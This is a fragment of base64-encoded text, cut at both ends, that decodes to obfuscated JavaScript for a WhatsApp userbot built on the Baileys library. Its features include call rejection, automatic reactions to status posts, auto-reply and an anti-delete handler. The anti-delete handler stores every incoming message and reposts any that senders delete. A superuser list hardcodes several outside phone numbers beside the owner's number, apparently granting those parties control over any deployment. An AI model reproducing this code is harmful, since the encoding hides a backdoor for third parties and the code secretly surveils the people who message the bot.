B9IGVsc2UgaWYgKGZzLmV4aXN0c1N5bmMoX19kaXJuYW1lICsgIi9hdXRoL2NyZWRzLmpzb24iKSAmJiBzZXNzaW9uICE9ICJ6b2trIikgewogYXdhaXQgZnMud3JpdGVGaWxlU3luYyhfX2Rpcm5hbWUgKyAiL2F1dGgvY3JlZHMuanNvbiIsIGF0b2Ioc2Vzc2lvbiksICJ1dGY4Iik7CiB9CiB9IGNhdGNoIChlKSB7CiBjb25zb2xlLmxvZygiU2Vzc2lvbiBJbnZhbGlkICIgKyBlKTsKIHJldHVybjsKIH0KfQphdXRoZW50aWZpY2F0aW9uKCk7CjA7CmNvbnN0IHN0b3JlID0gYmFpbGV5c18xLm1ha2VJbk1lbW9yeVN0b3JlKHsKIGxvZ2dlcjogcGlubygpLmNoaWxkKHsKIGxldmVsOiAic2lsZW50IiwKIHN0cmVhbTogInN0b3JlIgogfSkKfSk7CnNldFRpbWVvdXQoKCkgPT4gewogYXN5bmMgZnVuY3Rpb24gbWFpbigpIHsKIDA7CiBjb25zdCB7CiB2ZXJzaW9uLAogaXNMYXRlc3QKIH0gPSBhd2FpdCBiYWlsZXlzXzEuZmV0Y2hMYXRlc3RCYWlsZXlzVmVyc2lvbigpOwogMDsKIGNvbnN0IHsKIHN0YXRlLAogc2F2ZUNyZWRzCiB9ID0gYXdhaXQgYmFpbGV5c18xLnVzZU11bHRpRmlsZUF1dGhTdGF0ZShfX2Rpcm5hbWUgKyAiL2F1dGgiKTsKIDA7CiBjb25zdCBzb2NrT3B0aW9ucyA9IHsKIHZlcnNpb24sCiBsb2dnZXI6IHBpbm8oewogbGV2ZWw6ICJzaWxlbnQiCiB9KSwKIGJyb3dzZXI6IFsnQkVMVEFILU1EJywgInNhZmFyaSIsICIxLjAuMCJdLAogcHJpbnRRUkluVGVybWluYWw6IHRydWUsCiBmaXJlSW5pdFF1ZXJpZXM6IGZhbHNlLAogc2hvdWxkU3luY0hpc3RvcnlNZXNzYWdlOiB0cnVlLAogZG93bmxvYWRIaXN0b3J5OiB0cnVlLAogc3luY0Z1bGxIaXN0b3J5OiB0cnVlLAogZ2VuZXJhdGVIaWdoUXVhbGl0eUxpbmtQcmV2aWV3OiB0cnVlLAogbWFya09ubGluZU9uQ29ubmVjdDogZmFsc2UsCiBrZWVwQWxpdmVJbnRlcnZhbE1zOiAzMF8wMDAsCiAvKiBhdXRoOiBzdGF0ZSovYXV0aDogewogY3JlZHM6IHN0YXRlLmNyZWRzLAogLyoqIGNhY2hpbmcgbWFrZXMgdGhlIHN0b3JlIGZhc3RlciB0byBzZW5kL3JlY3YgbWVzc2FnZXMgKi8KIGtleXM6IGJhaWxleXNfMS5tYWtlQ2FjaGVhYmxlU2lnbmFsS2V5U3RvcmUoc3RhdGUua2V5cywgbG9nZ2VyKQogfSwKIC8vLy8vLy8vLy8KIGdldE1lc3NhZ2U6IGFzeW5jIGtleSA9PiB7CiBpZiAoc3RvcmUpIHsKIGNvbnN0IG1zZyA9IGF3YWl0IHN0b3JlLmxvYWRNZXNzYWdlKGtleS5yZW1vdGVKaWQsIGtleS5pZCwgdW5kZWZpbmVkKTsKIHJldHVybiBtc2cubWVzc2FnZSB8fCB1bmRlZmluZWQ7CiB9CiByZXR1cm4gewogY29udmVyc2F0aW9uOiAnQW4gRXJyb3IgT2NjdXJyZWQsIFJlcGVhdCBDb21tYW5kIScKIH07CiB9CiAvLy8vLy8vCiB9OwoKIDA7CiBjb25zdCB6ayA9IGJhaWxleXNfMS5kZWZhdWx0KHNvY2tPcHRpb25zKTsKIHN0b3JlLmJpbmQoemsuZXYpOwogc2V0SW50ZXJ2YWwoKCkgPT4gewogc3RvcmUud3JpdGVUb0ZpbGUoInN0b3JlLmpzb24iKTsKIH0sIDMwMDApOwogY29uc3QgZGVsYXkgPSBtcyA9PiBuZXcgUHJvbWlzZShyZXNvbHZlID0+IHNldFRpbWVvdXQocmVzb2x2ZSwgbXMpKTsKCi8vIFRyYWNrIHRoZSBsYXN0IHRleHQgdGltZSB0byBwcmV2ZW50IG92ZXJmbG93CmxldCBsYXN0VGV4dFRpbWUgPSAwOwpjb25zdCBtZXNzYWdlRGVsYXkgPSA1MDAwOyAvLyBTZXQgdGhlIG1pbmltdW0gZGVsYXkgYmV0d2VlbiBtZXNzYWdlcyAoaW4gbWlsbGlzZWNvbmRzKQoKemsuZXYub24oJ2NhbGwnLCBhc3luYyAoY2FsbERhdGEpID0+IHsKIGlmIChjb25mLkFOVElDQUxMID09PSAneWVzJykgewogY29uc3QgY2FsbElkID0gY2FsbERhdGFbMF0uaWQ7CiBjb25zdCBjYWxsZXJJZCA9IGNhbGxEYXRhWzBdLmZyb207CiAKIC8vIFJlamVjdCB0aGUgY2FsbAogYXdhaXQgemsucmVqZWN0Q2FsbChjYWxsSWQsIGNhbGxlcklkKTsKCiAvLyBDaGVjayBpZiBlbm91Z2ggdGltZSBoYXMgcGFzc2VkIHNpbmNlIHRoZSBsYXN0IG1lc3NhZ2UKIGNvbnN0IGN1cnJlbnRUaW1lID0gRGF0ZS5ub3coKTsKIGlmIChjdXJyZW50VGltZSAtIGxhc3RUZXh0VGltZSA+PSBtZXNzYWdlRGVsYXkpIHsKIC8vIFNlbmQgdGhlIHJlamVjdGlvbiBtZXNzYWdlIGlmIHRoZSBkZWxheSBoYXMgcGFzc2VkCiBhd2FpdCBjbGllbnQuc2VuZE1lc3NhZ2UoY2FsbGVySWQsIHsKIHRleHQ6IGNvbmYuQU5USUNBTExfTVNHCiB9KTsKCiAvLyBVcGRhdGUgdGhlIGxhc3QgdGV4dCB0aW1lCiBsYXN0VGV4dFRpbWUgPSBjdXJyZW50VGltZTsKIH0gZWxzZSB7CiBjb25zb2xlLmxvZygnTWVzc2FnZSBza2lwcGVkIHRvIHByZXZlbnQgb3ZlcmZsb3cnKTsKIH0KIH0KfSk7CiAvL0hhbmRsZSBzdGF0dXMgcmVhY3Rpb24gCiBjb25zdCBsb3ZlRW1vamlzID0gWyLinaTvuI8iLCAi8J+SliIsICLwn5KYIiwgIvCfkp0iLCAi8J+SkyIsICLwn5KMIiwgIvCfkpUiLCAi8J+YjiIsICLwn5SlIiwgIvCfkqUiLCAi8J+SryIsICLinKgiLCAi8J+MnyIsICLwn4yIIiwgIuKaoSIsICLwn5KOIiwgIvCfjIAiLCAi8J+RkSIsICLwn46JIiwgIvCfjooiLCAi8J+mhCIsICLwn5G9IiwgIvCfm7giLCAKICLwn5qAIiwgIvCfposiLCAi8J+SqyIsICLwn42AIiwgIvCfjrYiLCAi8J+OpyIsICLwn464IiwgIvCfjqQiLCAi8J+PhiIsICLwn4+FIiwgIvCfjI0iLCAi8J+MjiIsICLwn4yPIiwgIvCfjq4iLCAi8J+OsiIsICLwn5KqIiwgCiAi8J+Pi++4jyIsICLwn6WHIiwgIvCfkZ8iLCAi8J+PgyIsICLwn5q0IiwgIvCfmrYiLCAi8J+PhCIsICLim7fvuI8iLCAi8J+Vtu+4jyIsICLwn6ezIiwgIvCfjb8iLCAi8J+NvyIsICLwn6WCIiwgIvCfjbsiLCAi8J+NtyIsICLwn424IiwgCiAi8J+lgyIsICLwn42+IiwgIvCfjq8iLCAi4o+zIiwgIvCfjoEiLCAi8J+OiCIsICLwn46oIiwgIvCfjLsiLCAi8J+MuCIsICLwn4y6IiwgIvCfjLkiLCAi8J+MvCIsICLwn4yeIiwgIvCfjJ0iLCAi8J+MnCIsICLwn4yZIiwgCiAi8J+MmiIsICLwn42AIiwgIvCfjLEiLCAi8J+NgyIsICLwn42CIiwgIvCfjL4iLCAi8J+QiSIsICLwn5CNIiwgIvCfppMiLCAi8J+mhCIsICLwn6aLIiwgIvCfpqciLCAi8J+mmCIsICLwn6aoIiwgIvCfpqEiLCAi8J+QiSIsIAogIvCfkIUiLCAi8J+QhiIsICLwn5CTIiwgIvCfkKIiLCAi8J+QiiIsICLwn5CgIiwgIvCfkJ8iLCAi8J+QoSIsICLwn6aRIiwgIvCfkJkiLCAi8J+mgCIsICLwn5CsIiwgIvCfppUiLCAi8J+mliIsICLwn5C+IiwgIvCfkJUiLCAKICLwn5CIIiwgIvCfkIciLCAi8J+QviJdOwoKCmxldCBsYXN0UmVhY3Rpb25UaW1lID0gMDsKCmlmIChjb25mLkFVVE9fTElLRV9TVEFUVVMgPT09ICJ5ZXMiKSB7CiBjb25zb2xlLmxvZygiQVVUT19MSUtFX1NUQVRVUyBpcyBlbmFibGVkLiBMaXN0ZW5pbmcgZm9yIHN0YXR1cyB1cGRhdGVzLi4uIik7CgogemsuZXYub24oIm1lc3NhZ2VzLnVwc2VydCIsIGFzeW5jIChtKSA9PiB7CiBjb25zdCB7IG1lc3NhZ2VzIH0gPSBtOwoKIGZvciAoY29uc3QgbWVzc2FnZSBvZiBtZXNzYWdlcykgewogLy8gQ2hlY2sgaWYgdGhlIG1lc3NhZ2UgaXMgYSBzdGF0dXMgdXBkYXRlCiBpZiAobWVzc2FnZS5rZXkgJiYgbWVzc2FnZS5rZXkucmVtb3RlSmlkID09PSAic3RhdHVzQGJyb2FkY2FzdCIpIHsKIGNvbnNvbGUubG9nKCJEZXRlY3RlZCBzdGF0dXMgdXBkYXRlIGZyb206IiwgbWVzc2FnZS5rZXkucmVtb3RlSmlkKTsKCiAvLyBFbnN1cmUgdGhyb3R0bGluZyBieSBjaGVja2luZyB0aGUgbGFzdCByZWFjdGlvbiB0aW1lCiBjb25zdCBub3cgPSBEYXRlLm5vdygpOwogaWYgKG5vdyAtIGxhc3RSZWFjdGlvblRpbWUgPCA1MDAwKSB7IC8vIDUtc2Vjb25kIGludGVydmFsCiBjb25zb2xlLmxvZygiVGhyb3R0bGluZyByZWFjdGlvbnMgdG8gcHJldmVudCBvdmVyZmxvdy4iKTsKIGNvbnRpbnVlOwogfQoKIC8vIENoZWNrIGlmIGJvdCB1c2VyIElEIGlzIGF2YWlsYWJsZQogY29uc3QgYmVsdGFoID0gemsudXNlciAmJiB6ay51c2VyLmlkID8gemsudXNlci5pZC5zcGxpdCgiOiIpWzBdICsgIkBzLndoYXRzYXBwLm5ldCIgOiBudWxsOwogaWYgKCFiZWx0YWgpIHsKIGNvbnNvbGUubG9nKCJCb3QncyB1c2VyIElEIG5vdCBhdmFpbGFibGUuIFNraXBwaW5nIHJlYWN0aW9uLiIpOwogY29udGludWU7CiB9CgogLy8gU2VsZWN0IGEgcmFuZG9tIGxvdmUgZW1vamkKIGNvbnN0IHJhbmRvbUxvdmVFbW9qaSA9IGxvdmVFbW9qaXNbTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogbG92ZUVtb2ppcy5sZW5ndGgpXTsKCiAvLyBSZWFjdCB0byB0aGUgc3RhdHVzIHdpdGggdGhlIHNlbGVjdGVkIGxvdmUgZW1vamkKIHRyeSB7CiBhd2FpdCB6ay5zZW5kTWVzc2FnZShtZXNzYWdlLmtleS5yZW1vdGVKaWQsIHsKIHJlYWN0OiB7CiBrZXk6IG1lc3NhZ2Uua2V5LAogdGV4dDogcmFuZG9tTG92ZUVtb2ppLCAvLyBSZWFjdGlvbiBlbW9qaQogfSwKIH0sIHsKIHN0YXR1c0ppZExpc3Q6IFttZXNzYWdlLmtleS5wYXJ0aWNpcGFudF0sIC8vIEFkZCBvdGhlciBwYXJ0aWNpcGFudHMgaWYgbmVlZGVkCiB9KTsKCiAvLyBMb2cgc3VjY2Vzc2Z1bCByZWFjdGlvbiBhbmQgdXBkYXRlIHRoZSBsYXN0IHJlYWN0aW9uIHRpbWUKIGxhc3RSZWFjdGlvblRpbWUgPSBEYXRlLm5vdygpOwogY29uc29sZS5sb2coYFN1Y2Nlc3NmdWxseSByZWFjdGVkIHRvIHN0YXR1cyB1cGRhdGUgYnkgJHttZXNzYWdlLmtleS5yZW1vdGVKaWR9IHdpdGggJHtyYW5kb21Mb3ZlRW1vaml9YCk7CgogLy8gRGVsYXkgdG8gYXZvaWQgcmFwaWQgcmVhY3Rpb25zCiBhd2FpdCBkZWxheSgyMDAwKTsgLy8gMi1zZWNvbmQgZGVsYXkgYmV0d2VlbiByZWFjdGlvbnMKIH0gY2F0Y2ggKGVycm9yKSB7CiBjb25zb2xlLmVycm9yKCdFcnJvciByZWFjdGluZyB0byBzdGF0dXMgdXBkYXRlOicsIGVycm9yKTsKIH0KIH0KIH0KIH0pOwp9CgogLy9oYW5kbGUgYXV0b2JpbwppZiAoY29uZi5BVVRPQklPID09PSAneWVzJykgewogc2V0SW50ZXJ2YWwoKCkgPT4gewogY29uc3QgZGF0ZSA9IG5ldyBEYXRlKCk7CiB6ay51cGRhdGVQcm9maWxlU3RhdHVzKAogYPCfkbsgJHtjb25mLkJPVH0g8J+RuyB8fCDwnZCD8J2QmvCdkK3wnZCeOiAke2RhdGUudG9Mb2NhbGVTdHJpbmcoJ2VuLVVTJyAsIHsgdGltZVpvbmU6ICdBZnJpY2EvTmFpcm9iaScgfSl9IHx8IPCdkIPwnZCa8J2QsjogJHtkYXRlLnRvTG9jYWxlU3RyaW5nKCdlbi1VUycsIHsgd2Vla2RheTogJ2xvbmcnLCB0aW1lWm9uZTogJ0FmcmljYS9OYWlyb2JpJyB9KX0uYAogKTsKIH0sIDEwICogMTAwMCk7CiB9CiAKIGxldCByZXBsaWVkQ29udGFjdHMgPSBuZXcgU2V0KCk7Cgp6ay5ldi5vbigibWVzc2FnZXMudXBzZXJ0IiwgYXN5bmMgKG0pID0+IHsKIGNvbnN0IHsgbWVzc2FnZXMgfSA9IG07CiBjb25zdCBtcyA9IG1lc3NhZ2VzWzBdOwogaWYgKCFtcy5tZXNzYWdlKSB7CiByZXR1cm47CiB9CgogY29uc3QgbWVzc2FnZVRleHQgPSBtcy5tZXNzYWdlLmNvbnZlcnNhdGlvbiB8fCBtcy5tZXNzYWdlLmV4dGVuZGVkVGV4dE1lc3NhZ2U/LnRleHQgfHwgIiI7CiBjb25zdCByZW1vdGVKaWQgPSBtcy5rZXkucmVtb3RlSmlkOwogY29uc3Qgc2VuZGVyTnVtYmVyID0gcmVtb3RlSmlkLnNwbGl0KCdAJylbMF07CgogLy8gRGVmYXVsdCBhdXRvLXJlcGx5IG1lc3NhZ2UKIGxldCBhdXRvX3JlcGx5X21lc3NhZ2UgPSBgSGVsbG8gQCR7c2VuZGVyTnVtYmVyfSwgJHtjb25mLk9XTkVSX05BTUV9IGlzIHVuYXZhaWxhYmxlIHJpZ2h0IG5vdy4gS2luZGx5IGxlYXZlIGEgbWVzc2FnZS5gOwoKIC8vIENoZWNrIGlmIHRoZSBtZXNzYWdlIGV4aXN0cyBhbmQgaXMgYSBjb21tYW5kIHRvIHNldCBhIG5ldyBhdXRvLXJlcGx5IG1lc3NhZ2UKIGlmIChtZXNzYWdlVGV4dC5zdGFydHNXaXRoKCc+JykgJiYgbXMua2V5LmZyb21NZSkgewogY29uc3QgY29tbWFuZCA9IG1lc3NhZ2VUZXh0LnNsaWNlKDEpLnNwbGl0KCIgIilbMF07IC8vIENvbW1hbmQgYWZ0ZXIgcHJlZml4CiBjb25zdCBuZXdNZXNzYWdlID0gbWVzc2FnZVRleHQuc2xpY2UoY29tbWFuZC5sZW5ndGggKyAyKS50cmltKCk7IC8vIE5ldyBtZXNzYWdlIGNvbnRlbnQKCiAvLyBVcGRhdGUgdGhlIGF1dG8tcmVwbHkgbWVzc2FnZSBpZiB0aGUgY29tbWFuZCBpcyAnc2V0YXV0b3JlcGx5JwogaWYgKGNvbW1hbmQgPT09ICJzZXRhdXRvcmVwbHkiICYmIG5ld01lc3NhZ2UpIHsKIGF1dG9fcmVwbHlfbWVzc2FnZSA9IG5ld01lc3NhZ2U7CiBhd2FpdCB6ay5zZW5kTWVzc2FnZShyZW1vdGVKaWQsIHsKIHRleHQ6IGBBdXRvLXJlcGx5IG1lc3NhZ2UgaGFzIGJlZW4gdXBkYXRlZCB0bzpcbiIke2F1dG9fcmVwbHlfbWVzc2FnZX0iYAogfSk7CiByZXR1cm47CiB9CiB9CgogLy8gQ2hlY2sgaWYgYXV0by1yZXBseSBpcyBlbmFibGVkLCBjb250YWN0IGhhc24ndCByZWNlaXZlZCBhIHJlcGx5LCBhbmQgaXQncyBhIHByaXZhdGUgY2hhdAogaWYgKGNvbmYuR1JFRVQgPT09ICJ5ZXMiICYmICFyZXBsaWVkQ29udGFjdHMuaGFzKHJlbW90ZUppZCkgJiYgIW1zLmtleS5mcm9tTWUgJiYgIXJlbW90ZUppZC5pbmNsdWRlcygiQGcudXMiKSkgewogYXdhaXQgemsuc2VuZE1lc3NhZ2UocmVtb3RlSmlkLCB7CiB0ZXh0OiBhdXRvX3JlcGx5X21lc3NhZ2UsCiBtZW50aW9uczogW3JlbW90ZUppZF0KIH0pOwoKIC8vIEFkZCBjb250YWN0IHRvIHJlcGxpZWQgc2V0IHRvIHByZXZlbnQgcmVwZWF0IHJlcGxpZXMKIHJlcGxpZWRDb250YWN0cy5hZGQocmVtb3RlSmlkKTsKIH0KfSk7CiAKIC8vIEZ1bmN0aW9uIHRvIGZvcm1hdCBub3RpZmljYXRpb24gbWVzc2FnZQpmdW5jdGlvbiBjcmVhdGVOb3RpZmljYXRpb24oZGVsZXRlZE1lc3NhZ2UpIHsKIGNvbnN0IGRlbGV0ZWRCeSA9IGRlbGV0ZWRNZXNzYWdlLmtleS5wYXJ0aWNpcGFudCB8fCBkZWxldGVkTWVzc2FnZS5rZXkucmVtb3RlSmlkOwogcmV0dXJuIGAq44COIPCfkbsgJHtjb25mLkJPVH0g4bSAybThtJvJquG0heG0h8qf4bSH4bSb4bSHIPCfkbsg44CPKlxuXG5gICsKIGAq4bSF4bSHyp/htIfhtJvJquG0j8m0IOG0m8mq4bSN4bSHOiogJHtuZXcgRGF0ZSgpLnRvTG9jYWxlU3RyaW5nKCl9XG5gICsKIGAq4bSF4bSHyp/htIfhtJvhtIfhtIUgypnKjzoqIEAke2RlbGV0ZWRCeS5zcGxpdCgnQCcpWzBdfVxuXG4+IOG0heG0h8qf4bSH4bSb4bSH4bSFIMmqybTSk+G0j8qA4bSN4bSA4bSbyarhtI/JtCDKgOG0h+G0m8qAyarhtIfhtKDhtIfhtIUgypnKjyDKmeG0h8qf4bSb4bSAypwt4bSN4bSFYDsKfQovLyBIZWxwZXIgZnVuY3Rpb24gdG8gZG93bmxvYWQgbWVkaWEgYmFzZWQgb24gbWVzc2FnZSB0eXBlCmFzeW5jIGZ1bmN0aW9uIGRvd25sb2FkTWVzc2FnZU1lZGlhKG1lc3NhZ2UpIHsKIGlmIChtZXNzYWdlLmltYWdlTWVzc2FnZSkgcmV0dXJuIGF3YWl0IGRvd25sb2FkTWVkaWEobWVzc2FnZS5pbWFnZU1lc3NhZ2UpOwogaWYgKG1lc3NhZ2UudmlkZW9NZXNzYWdlKSByZXR1cm4gYXdhaXQgZG93bmxvYWRNZWRpYShtZXNzYWdlLnZpZGVvTWVzc2FnZSk7CiBpZiAobWVzc2FnZS5kb2N1bWVudE1lc3NhZ2UpIHJldHVybiBhd2FpdCBkb3dubG9hZE1lZGlhKG1lc3NhZ2UuZG9jdW1lbnRNZXNzYWdlKTsKIGlmIChtZXNzYWdlLmF1ZGlvTWVzc2FnZSkgcmV0dXJuIGF3YWl0IGRvd25sb2FkTWVkaWEobWVzc2FnZS5hdWRpb01lc3NhZ2UpOwogaWYgKG1lc3NhZ2Uuc3RpY2tlck1lc3NhZ2UpIHJldHVybiBhd2FpdCBkb3dubG9hZE1lZGlhKG1lc3NhZ2Uuc3RpY2tlck1lc3NhZ2UpOwogaWYgKG1lc3NhZ2Uudm9pY2VNZXNzYWdlKSByZXR1cm4gYXdhaXQgZG93bmxvYWRNZWRpYShtZXNzYWdlLnZvaWNlTWVzc2FnZSk7CiByZXR1cm4gbnVsbDsKfQoKLy8gRXZlbnQgbGlzdGVuZXIgZm9yIGFsbCBpbmNvbWluZyBtZXNzYWdlcwp6ay5ldi5vbigibWVzc2FnZXMudXBzZXJ0IiwgYXN5bmMgbSA9PiB7CiAvLyBDaGVjayBpZiBBTlRJREVMRVRFIGlzIGVuYWJsZWQKIGlmIChjb25mLkFETSAhPT0gInllcyIpIHJldHVybjsKIGNvbnN0IHsgbWVzc2FnZXMgfSA9IG07CiBjb25zdCBtcyA9IG1lc3NhZ2VzWzBdOwogaWYgKCFtcy5tZXNzYWdlKSByZXR1cm47CgogY29uc3QgbWVzc2FnZUtleSA9IG1zLmtleTsKIGNvbnN0IHJlbW90ZUppZCA9IG1lc3NhZ2VLZXkucmVtb3RlSmlkOwogLy8gU3RvcmUgcmVjZWl2ZWQgbWVzc2FnZXMgZm9yIGZ1dHVyZSB1bmRlbGV0ZSByZWZlcmVuY2UKIGlmICghc3RvcmUuY2hhdHNbcmVtb3RlSmlkXSkgewogc3RvcmUuY2hhdHNbcmVtb3RlSmlkXSA9IFtdOwogfQogc3RvcmUuY2hhdHNbcmVtb3RlSmlkXS5wdXNoKG1zKTsKIC8vIEhhbmRsZSBkZWxldGVkIG1lc3NhZ2VzCiBpZiAobXMubWVzc2FnZS5wcm90b2NvbE1lc3NhZ2UgJiYgbXMubWVzc2FnZS5wcm90b2NvbE1lc3NhZ2UudHlwZSA9PT0gMCkgewogY29uc3QgZGVsZXRlZEtleSA9IG1zLm1lc3NhZ2UucHJvdG9jb2xNZXNzYWdlLmtleTsKIC8vIFNlYXJjaCBmb3IgdGhlIGRlbGV0ZWQgbWVzc2FnZSBpbiB0aGUgc3RvcmVkIG1lc3NhZ2VzCiBjb25zdCBjaGF0TWVzc2FnZXMgPSBzdG9yZS5jaGF0c1tyZW1vdGVKaWRdOwogY29uc3QgZGVsZXRlZE1lc3NhZ2UgPSBjaGF0TWVzc2FnZXMuZmluZChtc2cgPT4gbXNnLmtleS5pZCA9PT0gZGVsZXRlZEtleS5pZCk7CiAKIGlmIChkZWxldGVkTWVzc2FnZSkgewogdHJ5IHsKIC8vIENyZWF0ZSBub3RpZmljYXRpb24gYWJvdXQgdGhlIGRlbGV0ZWQgbWVzc2FnZQogY29uc3Qgbm90aWZpY2F0aW9uID0gY3JlYXRlTm90aWZpY2F0aW9uKGRlbGV0ZWRNZXNzYWdlKTsKIC8vIENoZWNrIGlmIHRoZSBkZWxldGVkIG1lc3NhZ2UgaXMgYSB0ZXh0IG1lc3NhZ2UKIGlmIChkZWxldGVkTWVzc2FnZS5tZXNzYWdlLmNvbnZlcnNhdGlvbikgewogYXdhaXQgemsuc2VuZE1lc3NhZ2UocmVtb3RlSmlkLCB7CiB0ZXh0OiBgJHtub3RpZmljYXRpb259XG5cbirhtIXhtIfKn+G0h+G0m+G0h+G0hSDhtI3htIdzc+G0gMmi4bSHOiogJHtkZWxldGVkTWVzc2FnZS5tZXNzYWdlLmNvbnZlcnNhdGlvbn1gLAogbWVudGlvbnM6IFtkZWxldGVkTWVzc2FnZS5rZXkucGFydGljaXBhbnRdCiB9KTsKIH0KIAogLy8gSGFuZGxlIG1lZGlhIG1lc3NhZ2VzIChpbWFnZSwgdmlkZW8sIGRvY3VtZW50LCBhdWRpbywgc3RpY2tlciwgdm9pY2UpCiBlbHNlIHsKIGNvbnN0IG1lZGlhQnVmZmVyID0gYXdhaXQgZG93bmxvYWRNZXNzYWdlTWVkaWEoZGVsZXRlZE1lc3NhZ2UubWVzc2FnZSk7CiBpZiAobWVkaWFCdWZmZXIpIHsKIGNvbnN0IG1lZGlhVHlwZSA9IGRlbGV0ZWRNZXNzYWdlLm1lc3NhZ2UuaW1hZ2VNZXNzYWdlID8gJ2ltYWdlJyA6CiBkZWxldGVkTWVzc2FnZS5tZXNzYWdlLnZpZGVvTWVzc2FnZSA/ICd2aWRlbycgOgogZGVsZXRlZE1lc3NhZ2UubWVzc2FnZS5kb2N1bWVudE1lc3NhZ2UgPyAnZG9jdW1lbnQnIDoKIGRlbGV0ZWRNZXNzYWdlLm1lc3NhZ2UuYXVkaW9NZXNzYWdlID8gJ2F1ZGlvJyA6CiBkZWxldGVkTWVzc2FnZS5tZXNzYWdlLnN0aWNrZXJNZXNzYWdlID8gJ3N0aWNrZXInIDogJ2F1ZGlvJzsKIGF3YWl0IHprLnNlbmRNZXNzYWdlKHJlbW90ZUppZCwgewogW21lZGlhVHlwZV06IG1lZGlhQnVmZmVyLAogY2FwdGlvbjogbm90aWZpY2F0aW9uLAogbWVudGlvbnM6IFtkZWxldGVkTWVzc2FnZS5rZXkucGFydGljaXBhbnRdCiB9KTsKIH0KIH0KIH0gY2F0Y2ggKGVycm9yKSB7CiBjb25zb2xlLmVycm9yKCdFcnJvciBoYW5kbGluZyBkZWxldGVkIG1lc3NhZ2U6JywgZXJyb3IpOwogfQogfQogfQp9KTsKIAogemsuZXYub24oIm1lc3NhZ2VzLnVwc2VydCIsIGFzeW5jIG0gPT4gewogY29uc3QgewogbWVzc2FnZXMKIH0gPSBtOwogY29uc3QgbXMgPSBtZXNzYWdlc1swXTsKIGlmICghbXMubWVzc2FnZSkgewogcmV0dXJuOwogfQogY29uc3QgZGVjb2RlSmlkID0gamlkID0+IHsKIGlmICghamlkKSB7CiByZXR1cm4gamlkOwogfQogaWYgKC86XGQrQC9naS50ZXN0KGppZCkpIHsKIDA7CiBsZXQgZGVjb2RlID0gYmFpbGV5c18xLmppZERlY29kZShqaWQpIHx8IHt9OwogcmV0dXJuIGRlY29kZS51c2VyICYmIGRlY29kZS5zZXJ2ZXIgJiYgZGVjb2RlLnVzZXIgKyAnQCcgKyBkZWNvZGUuc2VydmVyIHx8IGppZDsKIH0gZWxzZSB7CiByZXR1cm4gamlkOwogfQogfTsKIDA7CiB2YXIgbXR5cGUgPSBiYWlsZXlzXzEuZ2V0Q29udGVudFR5cGUobXMubWVzc2FnZSk7CiB2YXIgdGV4dGUgPSBtdHlwZSA9PSAiY29udmVyc2F0aW9uIiA/IG1zLm1lc3NhZ2UuY29udmVyc2F0aW9uIDogbXR5cGUgPT0gImltYWdlTWVzc2FnZSIgPyBtcy5tZXNzYWdlLmltYWdlTWVzc2FnZT8uY2FwdGlvbiA6IG10eXBlID09ICJ2aWRlb01lc3NhZ2UiID8gbXMubWVzc2FnZS52aWRlb01lc3NhZ2U/LmNhcHRpb24gOiBtdHlwZSA9PSAiZXh0ZW5kZWRUZXh0TWVzc2FnZSIgPyBtcy5tZXNzYWdlPy5leHRlbmRlZFRleHRNZXNzYWdlPy50ZXh0IDogbXR5cGUgPT0gImJ1dHRvbnNSZXNwb25zZU1lc3NhZ2UiID8gbXM/Lm1lc3NhZ2U/LmJ1dHRvbnNSZXNwb25zZU1lc3NhZ2U/LnNlbGVjdGVkQnV0dG9uSWQgOiBtdHlwZSA9PSAibGlzdFJlc3BvbnNlTWVzc2FnZSIgPyBtcy5tZXNzYWdlPy5saXN0UmVzcG9uc2VNZXNzYWdlPy5zaW5nbGVTZWxlY3RSZXBseT8uc2VsZWN0ZWRSb3dJZCA6IG10eXBlID09ICJtZXNzYWdlQ29udGV4dEluZm8iID8gbXM/Lm1lc3NhZ2U/LmJ1dHRvbnNSZXNwb25zZU1lc3NhZ2U/LnNlbGVjdGVkQnV0dG9uSWQgfHwgbXMubWVzc2FnZT8ubGlzdFJlc3BvbnNlTWVzc2FnZT8uc2luZ2xlU2VsZWN0UmVwbHk/LnNlbGVjdGVkUm93SWQgfHwgbXMudGV4dCA6ICIiOwogdmFyIG9yaWdpbmVNZXNzYWdlID0gbXMua2V5LnJlbW90ZUppZDsKIHZhciBpZEJvdCA9IGRlY29kZUppZCh6ay51c2VyLmlkKTsKIHZhciBzZXJ2Qm90ID0gaWRCb3Quc3BsaXQoJ0AnKVswXTsKIGNvbnN0IHZlcmlmR3JvdXBlID0gb3JpZ2luZU1lc3NhZ2U/LmVuZHNXaXRoKCJAZy51cyIpOwogdmFyIGluZm9zR3JvdXBlID0gdmVyaWZHcm91cGUgPyBhd2FpdCB6ay5ncm91cE1ldGFkYXRhKG9yaWdpbmVNZXNzYWdlKSA6ICIiOwogdmFyIG5vbUdyb3VwZSA9IHZlcmlmR3JvdXBlID8gaW5mb3NHcm91cGUuc3ViamVjdCA6ICIiOwogdmFyIG1zZ1JlcG9uZHUgPSBtcy5tZXNzYWdlLmV4dGVuZGVkVGV4dE1lc3NhZ2U/LmNvbnRleHRJbmZvPy5xdW90ZWRNZXNzYWdlOwogdmFyIGF1dGV1ck1zZ1JlcG9uZHUgPSBkZWNvZGVKaWQobXMubWVzc2FnZT8uZXh0ZW5kZWRUZXh0TWVzc2FnZT8uY29udGV4dEluZm8/LnBhcnRpY2lwYW50KTsKIHZhciBhdXRldXJNZXNzYWdlID0gdmVyaWZHcm91cGUgPyBtcy5rZXkucGFydGljaXBhbnQgPyBtcy5rZXkucGFydGljaXBhbnQgOiBtcy5wYXJ0aWNpcGFudCA6IG9yaWdpbmVNZXNzYWdlOwogaWYgKG1zLmtleS5mcm9tTWUpIHsKIGF1dGV1ck1lc3NhZ2UgPSBpZEJvdDsKIH0KIHZhciBtZW1icmVHcm91cGUgPSB2ZXJpZkdyb3VwZSA/IG1zLmtleS5wYXJ0aWNpcGFudCA6ICcnOwogY29uc3QgewogZ2V0QWxsU3Vkb051bWJlcnMKIH0gPSByZXF1aXJlKCIuL2JkZC9zdWRvIik7CiBjb25zdCBub21BdXRldXJNZXNzYWdlID0gbXMucHVzaE5hbWU7CiBjb25zdCBzdWRvID0gYXdhaXQgZ2V0QWxsU3Vkb051bWJlcnMoKTsKIGNvbnN0IHN1cGVyVXNlck51bWJlcnMgPSBbc2VydkJvdCwgIjI1NDczNzY4MTc1OCIsICcyNTQxMTQxNDExOTInLCIyNTQ3Mzg2MjU4MjciLCIyNTQ3NTkzMjg1ODEiLCBjb25mLk5VTUVST19PV05FUl0ubWFwKHMgPT4gcy5yZXBsYWNlKC9bXjAtOV0vZykgK